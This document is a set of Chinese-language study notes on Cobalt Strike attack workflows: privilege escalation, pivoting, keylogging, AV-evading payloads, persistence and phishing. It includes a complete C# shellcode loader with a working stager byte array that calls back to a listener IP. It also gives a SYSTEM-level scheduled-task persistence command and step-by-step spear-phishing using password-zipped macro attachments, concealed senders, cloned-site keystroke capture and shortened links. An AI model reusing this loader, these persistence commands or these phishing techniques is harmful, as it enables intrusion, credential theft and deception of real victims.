前提获得一个shell

此时可以看到只有少数几个提权脚本

然后我们可以下载提权扩展脚本https://github.com/rsmudge/ElevateKit 填充

点击load加载,导入cna模块

此时就可以看到多出了好几个

尝试选择不同的提权脚本运行即可,有的会返回一个加星号的用户代表提权成功,相当于提到system权限,如果没有变化可以尝试使用getsystem(msf中可以这样转换下);而对于使用的提权脚本可以查看对应目标机上是否打有补丁,

shell systeminfo

KB开头对应的补丁编号

可以下载http://download.microsoft.com/download/6/7/3/673E4349-1CA5-40B9-8879-095C72D5B49D/BulletinSearch.xlsx查看对应的漏洞及补丁编号

前提:拿到一个shell

建立一个对外的监听,端口随便,这里注意使用的是tcp

打开msf,设置如下监听

回到CS复制一份shell传给对外监听的那个,选择choose,msf上收到shell

至此结束

也可以尝试用msf将shell传给CS,这个暂且没弄,都不是很难,可以自行上网上搜索相应资料

需求

例如拿下了一台主机,该主机存在dmz区,有公网ip,可以访问内网,那么我们需要借助这个主机为跳板来进行后续的内网渗透。
思路为:在该主机上搭建一个socks代理服务器,然后攻击机的msf设置代理为socks服务器的ip,把msf流量给到目标机,相当于目标机上再运行msf,实现msf内网使用的效果,来进行后续的内网渗透。

实验准备:

kali,一台搭好的网站的windows server机器,一台win10

简述实验步骤

这里我通过我win10本机开启CS客户端,kali依然是服务端,windows server的机器是我们模拟打下来的一台机器,他有内网外ip,然后我们通过这台假期攻击与其在一个内网区域的win10虚拟机(这里假设我正常无法ping通win10虚拟机),然后给kali上的msf挂上CS拿下的那台机器的代理,这样就相当于将msf集成到了我们拿下的那台机器上了,这样攻击win10虚拟机等内网机器就可以直接通过kali这边的msf攻击

实验开始

首先生成一个payload的exe文件,上传给windows server机器上运行获得shell

启动代理服务

端口可以默认也可以自己修改,然后在这里可以查看

然后在下面可以看到有一个转发功能

复制,开启msf

成功挂上代理

然后我们ping一下,这里是因为实验知道win10ip,正常就需要去探测了

这里以ping一下证明可以连接上,挂代理结束

Beacon交互机制
beacon的异步交互机制,异步交互即非同步的情况,也就是从命令行发出命令后,beacon并不会立即去执行,beacon有一个sleep机制,默认是60秒,也就是说每隔60秒,beacon才会去等待执行命令的序列中取命令,然后去执行并返回执行结果。
cs提供了修改此等待时间的命令,即sleep命令,跟一个参数秒来进行设置,如果是sleep 0,则就是同步模式,命令发出后立即执行并返回。

自我理解:中间的服务端可以供多人操作输入命令,该命令会放置到服务端等待目标机去获取,默认60秒获取一次,获取到的命令拿到目标机上执行,将结果再返回给服务端,服务端再分配给响应用户

输入help可以看到CS提供的各种命令

要使用cmd中的命令需要在前面加上一个shell

例如

当我们输入某条命令忘记准确写法可以按tab键补全

提供两个玩法一个是键盘记录捕捉,一个是屏幕截图

键盘记录

可以获取到包括上下左右键及其执行的命令,但是有点不准确

屏幕截图

右边的就是截到的图片,这里我为了方便放的本机

前提监听,和制作C#免杀的方式类似,这次选择powershell

Ps代码嵌入图片

将生成的ps代码集成到一个图片中,图片尽量像素大一点,我们需要用到invoke-psimage脚本,原理是将脚本中的字节数据存储到图片中,而图片的每一个像素都会存一个字节,所以图片像素尽量大一点。

这里用到一个脚本

Invoke-psimage Imvoke-psimage会将:个powershell脚本以字节方式嵌入到png图片的像素中,并生成一行执行命令来帮助我们从文件或web执行它们。

它会利用图片中每个像素点最后4位有效位的2个颜色值来存储payload数据,图片质量会稍微有些影响,但基本看不出来什么区别。图片需要为png格式,因为payload数据存储在颜色值中,所以这种格式可以进行无损压缩且不会影响payload执行。它可以接受大多数图片类型作为输入,但输出必须为png格式,因为输出图像数据需要是无损的。

https://github.com/peewpw/Invoke-PSlmage

Invoke-psimage操作

Powershell -ExecutionPolicy Bypass
Import-Module .\Invoke-PSImage.ps1

Invoke-PSImage -Script .\payload.ps1 -Image .\test.jpg -Out test2.png -Web因为我们需要使用import-module来加载invoke-psimage脚本,而powershell默认是不允许加载外部脚本文件的,所以在打开powershell时需要用executionpolicy bypass参数来绕过策略的限制。

其中test.jpg是网上找的可以拼进去的图片,尽量大些,test2.png后缀必须是png才可以

将红框复制出来,然后把test2.png上传到服务端

将这部分复制出来,将下图选中部分替换

然后将这一段发给win7,运行powshell执行(同时开启360杀毒)获得shell,过程中没有报毒,之后学习配合msf可以更加隐蔽

这里得到的也只是管理员权限

本篇主要学习这种方法,现在测试已经不能够过360的杀毒了,更不要提火绒了

前提监听,选择如图所示的payload

64位电脑勾选

这里会生成一个cs文件里面使一行payload,接下来我们要套模板将其替换

模板如下:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices;

namespace ShellCodeLauncher
{
class Program
{
static void Main()
{
//要修改这里
byte[] shellcode = new byte[894] { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc8, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x66, 0x81, 0x78, 0x18, 0x0b, 0x02, 0x75, 0x72, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x4f, 0xff, 0xff, 0xff, 0x5d, 0x6a, 0x00, 0x49, 0xbe, 0x77, 0x69, 0x6e, 0x69, 0x6e, 0x65, 0x74, 0x00, 0x41, 0x56, 0x49, 0x89, 0xe6, 0x4c, 0x89, 0xf1, 0x41, 0xba, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x48, 0x31, 0xd2, 0x4d, 0x31, 0xc0, 0x4d, 0x31, 0xc9, 0x41, 0x50, 0x41, 0x50, 0x41, 0xba, 0x3a, 0x56, 0x79, 0xa7, 0xff, 0xd5, 0xeb, 0x73, 0x5a, 0x48, 0x89, 0xc1, 0x41, 0xb8, 0x27, 0x23, 0x00, 0x00, 0x4d, 0x31, 0xc9, 0x41, 0x51, 0x41, 0x51, 0x6a, 0x03, 0x41, 0x51, 0x41, 0xba, 0x57, 0x89, 0x9f, 0xc6, 0xff, 0xd5, 0xeb, 0x59, 0x5b, 0x48, 0x89, 0xc1, 0x48, 0x31, 0xd2, 0x49, 0x89, 0xd8, 0x4d, 0x31, 0xc9, 0x52, 0x68, 0x00, 0x02, 0x60, 0x84, 0x52, 0x52, 0x41, 0xba, 0xeb, 0x55, 0x2e, 0x3b, 0xff, 0xd5, 0x48, 0x89, 0xc6, 0x48, 0x83, 0xc3, 0x50, 0x6a, 0x0a, 0x5f, 0x48, 0x89, 0xf1, 0x48, 0x89, 0xda, 0x49, 0xc7, 0xc0, 0xff, 0xff, 0xff, 0xff, 0x4d, 0x31, 0xc9, 0x52, 0x52, 0x41, 0xba, 0x2d, 0x06, 0x18, 0x7b, 0xff, 0xd5, 0x85, 0xc0, 0x0f, 0x85, 0x9d, 0x01, 0x00, 0x00, 0x48, 0xff, 0xcf, 0x0f, 0x84, 0x8c, 0x01, 0x00, 0x00, 0xeb, 0xd3, 0xe9, 0xe4, 0x01, 0x00, 0x00, 0xe8, 0xa2, 0xff, 0xff, 0xff, 0x2f, 0x57, 0x6c, 0x4d, 0x4d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0x73, 0x65, 0x72, 0x2d, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x3a, 0x20, 0x4d, 0x6f, 0x7a, 0x69, 0x6c, 0x6c, 0x61, 0x2f, 0x34, 0x2e, 0x30, 0x20, 0x28, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x74, 0x69, 0x62, 0x6c, 0x65, 0x3b, 0x20, 0x4d, 0x53, 0x49, 0x45, 0x20, 0x38, 0x2e, 0x30, 0x3b, 0x20, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x4e, 0x54, 0x20, 0x36, 0x2e, 0x31, 0x3b, 0x20, 0x57, 0x4f, 0x57, 0x36, 0x34, 0x3b, 0x20, 0x54, 0x72, 0x69, 0x64, 0x65, 0x6e, 0x74, 0x2f, 0x34, 0x2e, 0x30, 0x3b, 0x20, 0x53, 0x4c, 0x43, 0x43, 0x32, 0x3b, 0x20, 0x2e, 0x4e, 0x45, 0x54, 0x20, 0x43, 0x4c, 0x52, 0x20, 0x32, 0x2e, 0x30, 0x2e, 0x35, 0x30, 0x37, 0x32, 0x37, 0x29, 0x0d, 0x0a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0xbe, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0xba, 0x00, 0x00, 0x40, 0x00, 0x41, 0xb8, 0x00, 0x10, 0x00, 0x00, 0x41, 0xb9, 0x40, 0x00, 0x00, 0x00, 0x41, 0xba, 0x58, 0xa4, 0x53, 0xe5, 0xff, 0xd5, 0x48, 0x93, 0x53, 0x53, 0x48, 0x89, 0xe7, 0x48, 0x89, 0xf1, 0x48, 0x89, 0xda, 0x41, 0xb8, 0x00, 0x20, 0x00, 0x00, 0x49, 0x89, 0xf9, 0x41, 0xba, 0x12, 0x96, 0x89, 0xe2, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x20, 0x85, 0xc0, 0x74, 0xb6, 0x66, 0x8b, 0x07, 0x48, 0x01, 0xc3, 0x85, 0xc0, 0x75, 0xd7, 0x58, 0x58, 0x58, 0x48, 0x05, 0x00, 0x00, 0x00, 0x00, 0x50, 0xc3, 0xe8, 0x9f, 0xfd, 0xff, 0xff, 0x31, 0x39, 0x32, 0x2e, 0x31, 0x36, 0x38, 0x2e, 0x31, 0x39, 0x34, 0x2e, 0x31, 0x38, 0x31, 0x00, 0x00, 0x00, 0x00, 0x00 };//修改结束
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
// prepare data
IntPtr pinfo = IntPtr.Zero;
// execute native code
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return;
}
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport(“kernel32”)]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport(“kernel32”)]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport(“kernel32”)]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
}
}

将刚刚生成的两行替换到上面模板注释的部分,然后用.NET进行编译生成exe文件,这里就需要.NET的环境,正常都有,没有自行下载即可,然后进入其目录编译

介绍一下CSC的使用

out:是指定生成后exe的文件名称,/unsafe是使用非安全模式来编译代码,非安全模式下编译的代码允许其操作内存地址以及这些地址上的直接,会引起不安全代码的执行,有安全风险,所以是定为不安全模式。

执行完毕会在当前文件夹下生成shellcode.exe文件,我们将它放到win7靶机上,这里我用360测试杀毒,被杀掉。over

然后我们学习一下一种新玩法,如果没有被杀掉的话

windows计划任务

schtasks(schdule task:计划任务)

schtasks /create /RL HIGHEST /F /RU “SYSTEM” /TN “WindowsS” /TR “C:/shellcode.exe” /SC DAILY /MO 1 /ST 00:00

/RL:设置任务的运行级别。有效值为LIMITED和HIGHEST。默认为LUMITED。

/F:如果指定的任务已存在,则强制创建任务并禁止警告的值。

/RU:指定运行任务的用户上下文。

/TN:指定唯一标识计划任务的名称。

/TR:指定要在计划的时间运行的任务的路径和文件名。

/SC:指定计划频率,DAILY为每天。

/MO:对于MINUTE,HOURLY,DAlILYWEEKLY有效,可选参数,默认为1.

/sT:指定运行任务的开始时间,格式为H出:mm(24小时制)。

查看计划任务 schtasks /query | findstr “WindowsS”

这里我在win7查看状态的时候不给我回显,没关系我们可以自己用图形化看

win键输入计算机管理->计划任务

运行计划任务 schtasks /run /TN “WindowsS”

删除计划任务 schtasks /delete /F /TN “WindowsS”

然后我们运行计划任务之后可以收到shell,且是system权限,因为我们是以system权限运行的

前提:运用到前几篇所学,克隆网站,office宏的应用

当我们搜集到内网的一些邮箱时,可以使用批量发送钓鱼邮件来进行攻击获得shell

首先监听端口,制作克隆站点,这里依然以https://www.baidu.com为例

然后制作office宏病毒,我们将其压缩成一个包office,zip密码123456,是为了绕过对其的一些检测

接着我们选择Attacks->spear Phish构造钓鱼

Targets中是要发送的邮件,这里因为我邮件有限,以自己的小号为例

Template是发送内容的模板

Attachment是要发送所带的附件

Embed URL是钓鱼链接,我们在克隆网站那步生成的网址,这里我没有填是因为我在发送的邮件内容中包含了钓鱼链接

Mail Server如图填写,账号:授权码@smtp.qq.com

Bounce To:与上一栏邮箱对应即可

发送内容模板获取:

首先将钓鱼的内容写好给自己的小号发一份,然后再已发送中找到刚刚的邮件,如图点击,显示邮件原文,然后将其内容导出到一个txt文本中,我这里命名content.txt

这里将红色区域删掉,这样就不知道是谁发送的

这样模板就这做好了

还有一个问题是获取QQ的授权码

然后发送个短信验证一下就获得授权码了

然后再刚刚的 Mail Server 右边点击填写,Username处就是要发送钓鱼链接的邮箱,Password是刚刚获取的授权码

之后我们发送邮件即可

然后那边收到邮箱,将下载的附件打开,获得shell

实际渗透过程中,首先再次注意克隆的网站要选好,有的情况需要自己去写,因为克隆的效果可能不是很好,邮件的内容也要因地制宜,注意实际情况

介绍前提:hta文件其实也是一种类似exe的可执行文件,里面的内容是html代码

设置监听就不重复了

攻击操作,生成hta文件
这里选择Powershell相当于一种超级CMD,去执行

生成完文件后我们将hta文件上传到CS的服务端去

使用cs自带的服务器Host File,我们把刚刚的hta文件上传上去

注意:这里选择的hta木马文件不用向服务器传,在使用host file时cs会自动把这个文件放到服务器,在CS目录下的uploads文件夹中

这样就挂到CS自己的服务器上了,回到我们的kali服务器上可以看到在uploads文件夹下

然后我们回到客户端查看钓鱼连接情况Attacks->Web Drive-by->Manage

这里注意:如果我们之前有过钓鱼链接要及时删除,不然会在克隆的时候起冲突

要克隆的站点可以是其他的,我这里以百度为例,Local Host依然是可以是公网服务器,Attack选择刚刚的钓鱼链接(也可以放搜集信息的连接,即之前介绍的system profile,或者是下载木马的连接host file,然后我们克隆的钓鱼页面中所有的超链接点击时都会触发我们的attack),最后勾选项选中可以获得受害者在浏览钓鱼网站上输入到键盘上的信息

这里我依然尝试了给win10物理机不好使,win7虚拟机和本机虚拟机都好使

Win7上输入信息可以看到输入的内容被抓到

这里应该截在百度的输入,在这个页面输入的信息是截取不到的

然后我们查看键盘钩子获取到的信息View->Web Log

当然以上的抓取信息只能抓到在克隆页面输入的信息

需求

在生成Payload之前,我们可以先获取以下目标的基本信息,来进行针对性的Payload生成

生成钓鱼网站使用Web Drive-by模块的System Profiler

第一个一般都写根目录

第一个红框的在实际应用中一般都是公网服务器的ip(可以阿里云上租学生云,挺便宜),这里为了实验依然写的是kali服务器的ip

第二个红框是用户点击完钓鱼网站后,重定向到哪里

最下面的勾选项,如果不勾选CS是以默认的JS脚本去获取,如果我们勾选的话,是使用java程序去获取应用信息

区别是JAVA程序可能相对于CS获取的准确性更高些

然后我们可以在Web Drive-by的Manage看到刚刚生成的钓鱼网站的信息,类似于监听

然后我们复制这个连接,访问,可以发现有一会就重定向到baidu了 ,并将部分信息返回到Cobalt Strike上

我们可以如图选择查看钓鱼连接给我们返回的信息(View->Applications),这里因为我多点了几次,返回的有重复

红色获取的是对方外网的ip,蓝色获取的是对方内网的ip,因为这里实验都是局域网所以就都是一样的

最后附加

钓鱼链接的优化

使用短地址,提高攻击的可能性,下面提供一个网站

https://bitly.com

至此一个简单的钓鱼设置完毕,这里只获取了目标打开钓鱼网站的浏览器及其版本信息,操作系统的版本和打开时间。更复杂的玩法我可能在后续的学习过程中探索